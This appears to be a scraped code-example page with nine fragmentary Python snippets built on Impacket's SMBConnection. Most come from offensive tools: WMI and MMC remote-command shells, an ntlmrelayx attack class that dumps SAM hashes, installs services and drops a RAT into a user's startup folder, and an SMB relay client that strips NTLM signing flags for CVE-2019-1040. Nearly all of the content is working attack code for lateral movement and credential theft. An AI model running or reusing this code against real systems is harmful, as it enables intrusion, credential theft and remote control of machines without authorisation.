Example #1
9
    def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
        try:
            smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
        except Exception as exc:
            LOG.debug("SMB connection to %r on port 445 failed,"
                      " trying port 139 (%s)", host, exc)

            try:
                smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
            except Exception as exc:
                LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
                          host, exc)
                return None, None

        dialect = {SMB_DIALECT: "SMBv1",
                   SMB2_DIALECT_002: "SMBv2.0",
                   SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0")

        # we know this should work because the WMI connection worked
        try:
            smb.login(username, password, '', lm_hash, ntlm_hash)
        except Exception as exc:
            LOG.debug("Error while logging into %r using user: %s, password: '******', LM hash: %s, NTLM hash: %s: %s",
                      host, username, password, lm_hash, ntlm_hash, exc)
            return None, dialect

        smb.setTimeout(timeout)
        return smb, dialect
Example #2
0
    def run(self, addr):
        if self.__noOutput is False:
            try:
                smbConnection = SMBConnection(addr, addr)
                if self.__doKerberos is False:
                    smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
                else:
                    smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
                                                self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)

                dialect = smbConnection.getDialect()
                if dialect == SMB_DIALECT:
                    logging.info("SMBv1 dialect used")
                elif dialect == SMB2_DIALECT_002:
                    logging.info("SMBv2.0 dialect used")
                elif dialect == SMB2_DIALECT_21:
                    logging.info("SMBv2.1 dialect used")
                else:
                    logging.info("SMBv3.0 dialect used")
            except Exception as e:
                return e
                sys.stdout.flush()
                sys.exit(1)
        else:
            smbConnection = None

        dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
                              self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
        try:
            iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
            iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
            iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
            iWbemLevel1Login.RemRelease()

            win32Process,_ = iWbemServices.GetObject('Win32_Process')

            self.shell = RemoteShell(self.__share, win32Process, smbConnection)
            if self.__command != ' ':
                self.shell.onecmd(self.__command)
            else:
                self.shell.cmdloop()
        except  (Exception, KeyboardInterrupt), e:
            global totalOutput
            totalOutput=str(e)
            #logging.error(str(e))
            try:
                if smbConnection is not None:
                    smbConnection.logoff()
            except:
                pass
            try:
                dcom.disconnect()
            except:
                pass
            sys.stdout.flush()
            return str(e)
Example #3
0
        from getpass import getpass

        password = getpass("Password:")

    if options.aesKey is not None:
        options.k = True

    if options.hashes is not None:
        lmhash, nthash = options.hashes.split(':')
    else:
        lmhash = ''
        nthash = ''

    try:
        smbClient = SMBConnection(address, options.target_ip, sess_port=int(options.port))#, preferredDialect=SMB_DIALECT)
        if options.k is True:
            smbClient.kerberosLogin(username, password, domain, lmhash, nthash, options.aesKey, options.dc_ip)
        else:
            smbClient.login(username, password, domain, lmhash, nthash)

        if smbClient.getDialect() != SMB_DIALECT:
            # Let's disable SMB3 Encryption for now
            smbClient._SMBConnection._Session['SessionFlags'] &=  ~SMB2_SESSION_FLAG_ENCRYPT_DATA
        pipeDream = PIPEDREAM(smbClient, options)
        pipeDream.run()
    except Exception, e:
        #import traceback
        #print traceback.print_exc()
        logging.error(str(e))

Example #4
0
    def run(self, addr):
        if self.__noOutput is False:
            smbConnection = SMBConnection(addr, addr)
            if self.__doKerberos is False:
                smbConnection.login(self.__username, self.__password,
                                    self.__domain, self.__lmhash,
                                    self.__nthash)
            else:
                smbConnection.kerberosLogin(self.__username, self.__password,
                                            self.__domain, self.__lmhash,
                                            self.__nthash, self.__aesKey)

            dialect = smbConnection.getDialect()
            if dialect == SMB_DIALECT:
                logging.info("SMBv1 dialect used")
            elif dialect == SMB2_DIALECT_002:
                logging.info("SMBv2.0 dialect used")
            elif dialect == SMB2_DIALECT_21:
                logging.info("SMBv2.1 dialect used")
            else:
                logging.info("SMBv3.0 dialect used")
        else:
            smbConnection = None

        dcom = DCOMConnection(addr,
                              self.__username,
                              self.__password,
                              self.__domain,
                              self.__lmhash,
                              self.__nthash,
                              self.__aesKey,
                              oxidResolver=True,
                              doKerberos=self.__doKerberos)
        iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
                                             wmi.IID_IWbemLevel1Login)
        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
        iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL,
                                                   NULL)
        iWbemLevel1Login.RemRelease()

        win32Process, _ = iWbemServices.GetObject('Win32_Process')

        try:
            self.shell = RemoteShell(self.__share, win32Process, smbConnection)
            if self.__command != ' ':
                return self.shell.onecmd(self.__command)
            else:
                self.shell.cmdloop()
        except (Exception, KeyboardInterrupt) as e:
            # filename = '$ADMIN\Temp\{}'.format(OUTPUT_FILENAME)
            filename = '$C\Windows\Temp\{}'.format(OUTPUT_FILENAME)
            # Delete outfile
            if self.shell:
                output_callback = ''
                # print("Cleaning up output file: {}. Please don't Ctrl+C me.".format(filename))
                for _ in xrange(10):
                    try:
                        self.shell._RemoteShell__transferClient.deleteFile(
                            self.shell._RemoteShell__share,
                            self.shell._RemoteShell__output)
                        break
                    except KeyboardInterrupt:
                        try:
                            print(
                                "Pressing Ctrl+C again might leave a file on disk: {}"
                                .format(filename))
                            time.sleep(1)
                            continue
                        except KeyboardInterrupt:
                            break

                    except Exception, e:
                        if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
                            # Output not finished, let's wait
                            time.sleep(1)
                            pass
                        if str(e).find('BAD_NETWORK_NAME') >= 0:
                            print(str(e))
                            break
                        else:
                            # print str(e)
                            time.sleep(1)
                            pass
                else:
                    print("Error: Timeout - {} might be left on disk".format(
                        filename))
Example #5
0
class SMBAttack(ProtocolAttack):
    """
    This is the SMB default attack class.
    It will either dump the hashes from the remote target, or open an interactive
    shell if the -i option is specified.
    """
    PLUGIN_NAMES = ["SMB"]

    def __init__(self, config, SMBClient, username):
        self.username = username
        ProtocolAttack.__init__(self, config, SMBClient, username)
        if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
            self.__SMBConnection = SMBConnection(existingConnection=SMBClient)
        else:
            self.__SMBConnection = SMBClient
        self.__answerTMP = ''
        if self.config.interactive:
            #Launch locally listening interactive shell
            self.tcpshell = TcpShell()
        else:
            self.tcpshell = None
            if self.config.exeFile is not None:
                self.installService = serviceinstall.ServiceInstall(
                    SMBClient, self.config.exeFile)

    def __answer(self, data):
        self.__answerTMP += data

    def run(self):
        # Here PUT YOUR CODE!
        if self.config.gPotatoStartUp is not None:
            with open(self.config.gPotatoStartUp, 'rb') as f:
                try:
                    startup_users_path = '/%s/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/%s' % (
                        self.username, self.config.gPotatoStartUp)
                    self.__SMBConnection.putFile('Users', startup_users_path,
                                                 f.read)
                    print(
                        '[GPOTATO] Uploaded payload to user startup folder via User share'
                    )
                    return
                except Exception as e:
                    print(
                        '[GPOTATO] Dropping RAT to startup folder using User share failed: %s'
                        % str(e))

                try:
                    startup_admin_path = '/Users/%s/Desktop/%s' % (
                        self.username, self.config.gPotatoStartUp)
                    self.__SMBConnection.putFile('C$', startup_admin_path,
                                                 f.read)
                    print(
                        '[GPOTATO] Uploaded payload to user startup folder via C$ share'
                    )
                    return
                except Exception as e:
                    print(
                        '[GPOTATO] Dropping RAT to startup folder using C$ share failed: %s'
                        % str(e))

        if self.tcpshell is not None:
            LOG.info(
                'Started interactive SMB client shell via TCP on 127.0.0.1:%d'
                % self.tcpshell.port)
            #Start listening and launch interactive shell
            self.tcpshell.listen()
            self.shell = MiniImpacketShell(self.__SMBConnection,
                                           self.tcpshell.socketfile)
            self.shell.cmdloop()
            return
        if self.config.exeFile is not None:
            result = self.installService.install()
            if result is True:
                LOG.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from impacket.examples.secretsdump import RemoteOperations, SAMHashes
            from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins
            samHashes = None
            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                if self.__SMBConnection.getDialect() == smb.SMB_DIALECT:
                    flags1, flags2 = self.__SMBConnection.getSMBServer(
                    ).get_flags()
                    flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                    self.__SMBConnection.getSMBServer().set_flags(
                        flags2=flags2)

                remoteOps = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
            except Exception as e:
                if "rpc_s_access_denied" in str(
                        e):  # user doesn't have correct privileges
                    if self.config.enumLocalAdmins:
                        LOG.info(
                            "Relayed user doesn't have admin on {}. Attempting to enumerate users who do..."
                            .format(
                                self.__SMBConnection.getRemoteHost().encode(
                                    self.config.encoding)))
                        enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection)
                        try:
                            localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins(
                            )
                            LOG.info(
                                "Host {} has the following local admins (hint: try relaying one of them here...)"
                                .format(self.__SMBConnection.getRemoteHost().
                                        encode(self.config.encoding)))
                            for name in localAdminNames:
                                LOG.info(
                                    "Host {} local admin member: {} ".format(
                                        self.__SMBConnection.getRemoteHost().
                                        encode(self.config.encoding), name))
                        except DCERPCException:
                            LOG.info("SAMR access denied")
                        return
                # Something else went wrong. aborting
                LOG.error(str(e))
                return

            try:
                if self.config.command is not None:
                    remoteOps._RemoteOperations__executeRemote(
                        self.config.command)
                    LOG.info("Executed specified command on host: %s",
                             self.__SMBConnection.getRemoteHost())
                    self.__answerTMP = ''
                    self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output',
                                                 self.__answer)
                    self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
                    print(
                        self.__answerTMP.decode(self.config.encoding,
                                                'replace'))
                else:
                    bootKey = remoteOps.getBootKey()
                    remoteOps._RemoteOperations__serviceDeleted = True
                    samFileName = remoteOps.saveSAM()
                    samHashes = SAMHashes(samFileName, bootKey, isRemote=True)
                    samHashes.dump()
                    samHashes.export(self.__SMBConnection.getRemoteHost() +
                                     '_samhashes')
                    LOG.info("Done dumping SAM hashes for host: %s",
                             self.__SMBConnection.getRemoteHost())
            except Exception as e:
                LOG.error(str(e))
            finally:
                if samHashes is not None:
                    samHashes.finish()
                if remoteOps is not None:
                    remoteOps.finish()
Example #6
0
        password = getpass("Password:")

    if options.aesKey is not None:
        options.k = True

    if options.hashes is not None:
        lmhash, nthash = options.hashes.split(':')
    else:
        lmhash = ''
        nthash = ''

    try:
        smbClient = SMBConnection(address, options.target_ip, sess_port=int(options.port))#, preferredDialect=SMB_DIALECT)
        if options.k is True:
            smbClient.kerberosLogin(username, password, domain, lmhash, nthash, options.aesKey, options.dc_ip)
        else:
            smbClient.login(username, password, domain, lmhash, nthash)

        if smbClient.getDialect() != SMB_DIALECT:
            # Let's disable SMB3 Encryption for now
            smbClient._SMBConnection._Session['SessionFlags'] &=  ~SMB2_SESSION_FLAG_ENCRYPT_DATA
        pipeDream = PIPEDREAM(smbClient, options)
        pipeDream.run()
    except Exception, e:
        if logging.getLogger().level == logging.DEBUG:
            import traceback
            traceback.print_exc()
        logging.error(str(e))

Example #7
0
    def run(self, addr):
        if self.__noOutput is False:
            smbConnection = SMBConnection(addr, addr)
            if self.__doKerberos is False:
                smbConnection.login(self.__username, self.__password,
                                    self.__domain, self.__lmhash,
                                    self.__nthash)
            else:
                smbConnection.kerberosLogin(self.__username,
                                            self.__password,
                                            self.__domain,
                                            self.__lmhash,
                                            self.__nthash,
                                            self.__aesKey,
                                            kdcHost=self.__kdcHost)

            dialect = smbConnection.getDialect()
            if dialect == SMB_DIALECT:
                logging.info("SMBv1 dialect used")
            elif dialect == SMB2_DIALECT_002:
                logging.info("SMBv2.0 dialect used")
            elif dialect == SMB2_DIALECT_21:
                logging.info("SMBv2.1 dialect used")
            else:
                logging.info("SMBv3.0 dialect used")
        else:
            smbConnection = None

        dcom = DCOMConnection(addr,
                              self.__username,
                              self.__password,
                              self.__domain,
                              self.__lmhash,
                              self.__nthash,
                              self.__aesKey,
                              oxidResolver=True,
                              doKerberos=self.__doKerberos,
                              kdcHost=self.__kdcHost)
        try:
            iInterface = dcom.CoCreateInstanceEx(
                string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'),
                IID_IDispatch)
            iMMC = IDispatch(iInterface)

            resp = iMMC.GetIDsOfNames(('Document', ))

            dispParams = DISPPARAMS(None, False)
            dispParams['rgvarg'] = NULL
            dispParams['rgdispidNamedArgs'] = NULL
            dispParams['cArgs'] = 0
            dispParams['cNamedArgs'] = 0
            resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
                               dispParams, 0, [], [])

            iDocument = IDispatch(
                self.getInterface(
                    iMMC,
                    resp['pVarResult']['_varUnion']['pdispVal']['abData']))
            resp = iDocument.GetIDsOfNames(('ActiveView', ))
            resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
                                    dispParams, 0, [], [])

            iActiveView = IDispatch(
                self.getInterface(
                    iMMC,
                    resp['pVarResult']['_varUnion']['pdispVal']['abData']))
            pExecuteShellCommand = iActiveView.GetIDsOfNames(
                ('ExecuteShellCommand', ))[0]

            pQuit = iMMC.GetIDsOfNames(('Quit', ))[0]

            self.shell = RemoteShell(self.__share, (iMMC, pQuit),
                                     (iActiveView, pExecuteShellCommand),
                                     smbConnection)
            if self.__command != ' ':
                self.shell.onecmd(self.__command)
                if self.shell is not None:
                    self.shell.do_exit('')
            else:
                self.shell.cmdloop()
        except (Exception, KeyboardInterrupt), e:
            #import traceback
            #traceback.print_exc()
            if self.shell is not None:
                self.shell.do_exit('')
            logging.error(str(e))
            if smbConnection is not None:
                smbConnection.logoff()
            dcom.disconnect()
            sys.stdout.flush()
            sys.exit(1)
Example #8
0
    def run(self, addr):
        if self.__noOutput is False:
            smbConnection = SMBConnection(addr, addr)
            if self.__doKerberos is False:
                smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
            else:
                smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)

            dialect = smbConnection.getDialect()
            if dialect == SMB_DIALECT:
                logging.info("SMBv1 dialect used")
            elif dialect == SMB2_DIALECT_002:
                logging.info("SMBv2.0 dialect used")
            elif dialect == SMB2_DIALECT_21:
                logging.info("SMBv2.1 dialect used")
            else:
                logging.info("SMBv3.0 dialect used")
        else:
            smbConnection = None

        dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver = True, doKerberos=self.__doKerberos)
        iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
        iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
        iWbemLevel1Login.RemRelease()

        win32Process,_ = iWbemServices.GetObject('Win32_Process')

        try:
            self.shell = RemoteShell(self.__share, win32Process, smbConnection)
            if self.__command != ' ':
                return self.shell.onecmd(self.__command)
            else:
                self.shell.cmdloop()
        except (Exception, KeyboardInterrupt) as e:
            # filename = '$ADMIN\Temp\{}'.format(OUTPUT_FILENAME)
            filename = '$C\Windows\Temp\{}'.format(OUTPUT_FILENAME)
            # Delete outfile
            if self.shell:
                output_callback = ''
                # print("Cleaning up output file: {}. Please don't Ctrl+C me.".format(filename))
                for _ in xrange(10):
                    try:
                        self.shell._RemoteShell__transferClient.deleteFile(self.shell._RemoteShell__share, self.shell._RemoteShell__output)
                        break
                    except KeyboardInterrupt:
                        try:
                            print("Pressing Ctrl+C again might leave a file on disk: {}".format(filename))
                            time.sleep(1)
                            continue
                        except KeyboardInterrupt:
                            break

                    except Exception, e:
                        if str(e).find('STATUS_SHARING_VIOLATION') >=0:
                            # Output not finished, let's wait
                            time.sleep(1)
                            pass
                        if str(e).find('BAD_NETWORK_NAME') >= 0:
                            print(str(e))
                            break
                        else:
                            # print str(e)
                            time.sleep(1)
                            pass 
                else:
                    print("Error: Timeout - {} might be left on disk".format(filename))
Example #9
0
class SMBRelayClient(ProtocolClient):
    PLUGIN_NAME = "SMB"

    def __init__(self,
                 serverConfig,
                 target,
                 targetPort=445,
                 extendedSecurity=True):
        ProtocolClient.__init__(self, serverConfig, target, targetPort,
                                extendedSecurity)
        self.extendedSecurity = extendedSecurity

        self.machineAccount = None
        self.machineHashes = None
        self.sessionData = {}

        self.negotiateMessage = None
        self.challengeMessage = None
        self.serverChallenge = None

        self.keepAliveHits = 1

    def netlogonSessionKey(self, authenticateMessageBlob):
        # Here we will use netlogon to get the signing session key
        logging.info("Connecting to %s NETLOGON service" %
                     self.serverConfig.domainIp)

        respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
        authenticateMessage = NTLMAuthChallengeResponse()
        authenticateMessage.fromString(respToken2['ResponseToken'])
        _, machineAccount = self.serverConfig.machineAccount.split('/')
        domainName = authenticateMessage['domain_name'].decode('utf-16le')

        try:
            serverName = machineAccount[:len(machineAccount) - 1]
        except:
            # We're in NTLMv1, not supported
            return STATUS_ACCESS_DENIED

        stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.serverConfig.domainIp

        rpctransport = transport.DCERPCTransportFactory(stringBinding)

        if len(self.serverConfig.machineHashes) > 0:
            lmhash, nthash = self.serverConfig.machineHashes.split(':')
        else:
            lmhash = ''
            nthash = ''

        if hasattr(rpctransport, 'set_credentials'):
            # This method exists only for selected protocol sequences.
            rpctransport.set_credentials(machineAccount, '', domainName,
                                         lmhash, nthash)

        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(nrpc.MSRPC_UUID_NRPC)
        resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName + '\x00',
                                            b'12345678')

        serverChallenge = resp['ServerChallenge']

        if self.serverConfig.machineHashes == '':
            ntHash = None
        else:
            ntHash = unhexlify(self.serverConfig.machineHashes.split(':')[1])

        sessionKey = nrpc.ComputeSessionKeyStrongKey('', b'12345678',
                                                     serverChallenge, ntHash)

        ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey)

        nrpc.hNetrServerAuthenticate3(
            dce, NULL, machineAccount + '\x00',
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,
            serverName + '\x00', ppp, 0x600FFFFF)

        clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10)

        # Now let's try to verify the security blob against the PDC

        request = nrpc.NetrLogonSamLogonWithFlags()
        request['LogonServer'] = '\x00'
        request['ComputerName'] = serverName + '\x00'
        request[
            'ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4

        request[
            'LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
        request['LogonInformation'][
            'tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'LogonDomainName'] = domainName
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'ParameterControl'] = 0
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'UserName'] = authenticateMessage['user_name'].decode('utf-16le')
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'Workstation'] = ''
        request['LogonInformation']['LogonNetworkTransitive'][
            'LmChallenge'] = self.serverChallenge
        request['LogonInformation']['LogonNetworkTransitive'][
            'NtChallengeResponse'] = authenticateMessage['ntlm']
        request['LogonInformation']['LogonNetworkTransitive'][
            'LmChallengeResponse'] = authenticateMessage['lanman']

        authenticator = nrpc.NETLOGON_AUTHENTICATOR()
        authenticator['Credential'] = nrpc.ComputeNetlogonCredential(
            clientStoredCredential, sessionKey)
        authenticator['Timestamp'] = 10

        request['Authenticator'] = authenticator
        request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
        request['ReturnAuthenticator']['Timestamp'] = 0
        request['ExtraFlags'] = 0
        # request.dump()
        try:
            resp = dce.request(request)
            # resp.dump()
        except DCERPCException as e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            logging.error(str(e))
            return e.get_error_code()

        logging.info(
            "%s\\%s successfully validated through NETLOGON" %
            (domainName, authenticateMessage['user_name'].decode('utf-16le')))

        encryptedSessionKey = authenticateMessage['session_key']
        if encryptedSessionKey != b'':
            signingKey = generateEncryptedSessionKey(
                resp['ValidationInformation']['ValidationSam4']
                ['UserSessionKey'], encryptedSessionKey)
        else:
            signingKey = resp['ValidationInformation']['ValidationSam4'][
                'UserSessionKey']

        logging.info("SMB Signing key: %s " %
                     hexlify(signingKey).decode('utf-8'))

        return STATUS_SUCCESS, signingKey

    def keepAlive(self):
        # SMB Keep Alive more or less every 5 minutes
        if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER):
            # Time to send a packet
            # Just a tree connect / disconnect to avoid the session timeout
            tid = self.session.connectTree('IPC$')
            self.session.disconnectTree(tid)
            self.keepAliveHits = 1
        else:
            self.keepAliveHits += 1

    def killConnection(self):
        if self.session is not None:
            self.session.close()
            self.session = None

    def initConnection(self):
        self.session = SMBConnection(self.targetHost,
                                     self.targetHost,
                                     sess_port=self.targetPort,
                                     manualNegotiate=True)
        #,preferredDialect=SMB_DIALECT)
        if self.serverConfig.smb2support is True:
            data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'
        else:
            data = '\x02NT LM 0.12\x00'

        if self.extendedSecurity is True:
            flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
        else:
            flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
        try:
            packet = self.session.negotiateSessionWildcard(
                None,
                self.targetHost,
                self.targetHost,
                self.targetPort,
                60,
                self.extendedSecurity,
                flags1=SMB.FLAGS1_PATHCASELESS
                | SMB.FLAGS1_CANONICALIZED_PATHS,
                flags2=flags2,
                data=data)
        except socketerror as e:
            if 'reset by peer' in str(e):
                if not self.serverConfig.smb2support:
                    LOG.error(
                        'SMBCLient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support'
                    )
                else:
                    LOG.error('SMBCLient error: Connection was reset')
            else:
                LOG.error('SMBCLient error: %s' % str(e))
            return False
        if packet[0:1] == b'\xfe':
            preferredDialect = None
            # Currently only works with SMB2_DIALECT_002 or SMB2_DIALECT_21
            if self.serverConfig.remove_target:
                preferredDialect = SMB2_DIALECT_21
            smbClient = MYSMB3(self.targetHost,
                               self.targetPort,
                               self.extendedSecurity,
                               nmbSession=self.session.getNMBServer(),
                               negPacket=packet,
                               preferredDialect=preferredDialect)
        else:
            # Answer is SMB packet, sticking to SMBv1
            smbClient = MYSMB(self.targetHost,
                              self.targetPort,
                              self.extendedSecurity,
                              nmbSession=self.session.getNMBServer(),
                              negPacket=packet)

        self.session = SMBConnection(self.targetHost,
                                     self.targetHost,
                                     sess_port=self.targetPort,
                                     existingConnection=smbClient,
                                     manualNegotiate=True)

        return True

    def setUid(self, uid):
        self._uid = uid

    def sendNegotiate(self, negotiateMessage):
        negoMessage = NTLMAuthNegotiate()
        negoMessage.fromString(negotiateMessage)
        # When exploiting CVE-2019-1040, remove flags
        if self.serverConfig.remove_mic:
            if negoMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
            if negoMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
            if negoMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
            if negoMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION

        negotiateMessage = negoMessage.getData()

        challenge = NTLMAuthChallenge()
        if self.session.getDialect() == SMB_DIALECT:
            challenge.fromString(self.sendNegotiatev1(negotiateMessage))
        else:
            challenge.fromString(self.sendNegotiatev2(negotiateMessage))

        self.negotiateMessage = negotiateMessage
        self.challengeMessage = challenge.getData()

        # Store the Challenge in our session data dict. It will be used by the SMB Proxy
        self.sessionData['CHALLENGE_MESSAGE'] = challenge
        self.serverChallenge = challenge['challenge']

        return challenge

    def sendNegotiatev2(self, negotiateMessage):
        v2client = self.session.getSMBServer()

        sessionSetup = SMB2SessionSetup()
        sessionSetup['Flags'] = 0

        # Let's build a NegTokenInit with the NTLMSSP
        blob = SPNEGO_NegTokenInit()

        # NTLMSSP
        blob['MechTypes'] = [
            TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
        ]
        blob['MechToken'] = negotiateMessage

        sessionSetup['SecurityBufferLength'] = len(blob)
        sessionSetup['Buffer'] = blob.getData()

        packet = v2client.SMB_PACKET()
        packet['Command'] = SMB2_SESSION_SETUP
        packet['Data'] = sessionSetup

        packetID = v2client.sendSMB(packet)
        ans = v2client.recvSMB(packetID)
        if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED):
            v2client._Session['SessionID'] = ans['SessionID']
            sessionSetupResponse = SMB2SessionSetup_Response(ans['Data'])
            respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer'])
            return respToken['ResponseToken']

        return False

    def sendNegotiatev1(self, negotiateMessage):
        v1client = self.session.getSMBServer()

        smb = NewSMBPacket()
        smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
        smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
        # Are we required to sign SMB? If so we do it, if not we skip it
        if v1client.is_signing_required():
            smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE

        # Just in case, clear the Unicode Flag
        flags2 = v1client.get_flags()[1]
        v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_UNICODE))

        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
        sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
        sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()

        sessionSetup['Parameters']['MaxBufferSize'] = 65535
        sessionSetup['Parameters']['MaxMpxCount'] = 2
        sessionSetup['Parameters']['VcNumber'] = 1
        sessionSetup['Parameters']['SessionKey'] = 0
        sessionSetup['Parameters'][
            'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE

        # Let's build a NegTokenInit with the NTLMSSP
        # TODO: In the future we should be able to choose different providers

        blob = SPNEGO_NegTokenInit()

        # NTLMSSP
        blob['MechTypes'] = [
            TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
        ]
        blob['MechToken'] = negotiateMessage

        sessionSetup['Parameters']['SecurityBlobLength'] = len(blob)
        sessionSetup['Parameters'].getData()
        sessionSetup['Data']['SecurityBlob'] = blob.getData()

        # Fake Data here, don't want to get us fingerprinted
        sessionSetup['Data']['NativeOS'] = 'Unix'
        sessionSetup['Data']['NativeLanMan'] = 'Samba'

        smb.addCommand(sessionSetup)
        v1client.sendSMB(smb)
        smb = v1client.recvSMB()

        try:
            smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
        except Exception:
            LOG.error("SessionSetup Error!")
            raise
        else:
            # We will need to use this uid field for all future requests/responses
            v1client.set_uid(smb['Uid'])

            # Now we have to extract the blob to continue the auth process
            sessionResponse = SMBCommand(smb['Data'][0])
            sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(
                sessionResponse['Parameters'])
            sessionData = SMBSessionSetupAndX_Extended_Response_Data(
                flags=smb['Flags2'])
            sessionData['SecurityBlobLength'] = sessionParameters[
                'SecurityBlobLength']
            sessionData.fromString(sessionResponse['Data'])
            respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob'])

            return respToken['ResponseToken']

    def sendStandardSecurityAuth(self, sessionSetupData):
        v1client = self.session.getSMBServer()
        flags2 = v1client.get_flags()[1]
        v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY))
        if sessionSetupData['Account'] != '':
            smb = NewSMBPacket()
            smb['Flags1'] = 8

            sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
            sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters()
            sessionSetup['Data'] = SMBSessionSetupAndX_Data()

            sessionSetup['Parameters']['MaxBuffer'] = 65535
            sessionSetup['Parameters']['MaxMpxCount'] = 2
            sessionSetup['Parameters']['VCNumber'] = os.getpid()
            sessionSetup['Parameters'][
                'SessionKey'] = v1client._dialects_parameters['SessionKey']
            sessionSetup['Parameters']['AnsiPwdLength'] = len(
                sessionSetupData['AnsiPwd'])
            sessionSetup['Parameters']['UnicodePwdLength'] = len(
                sessionSetupData['UnicodePwd'])
            sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE

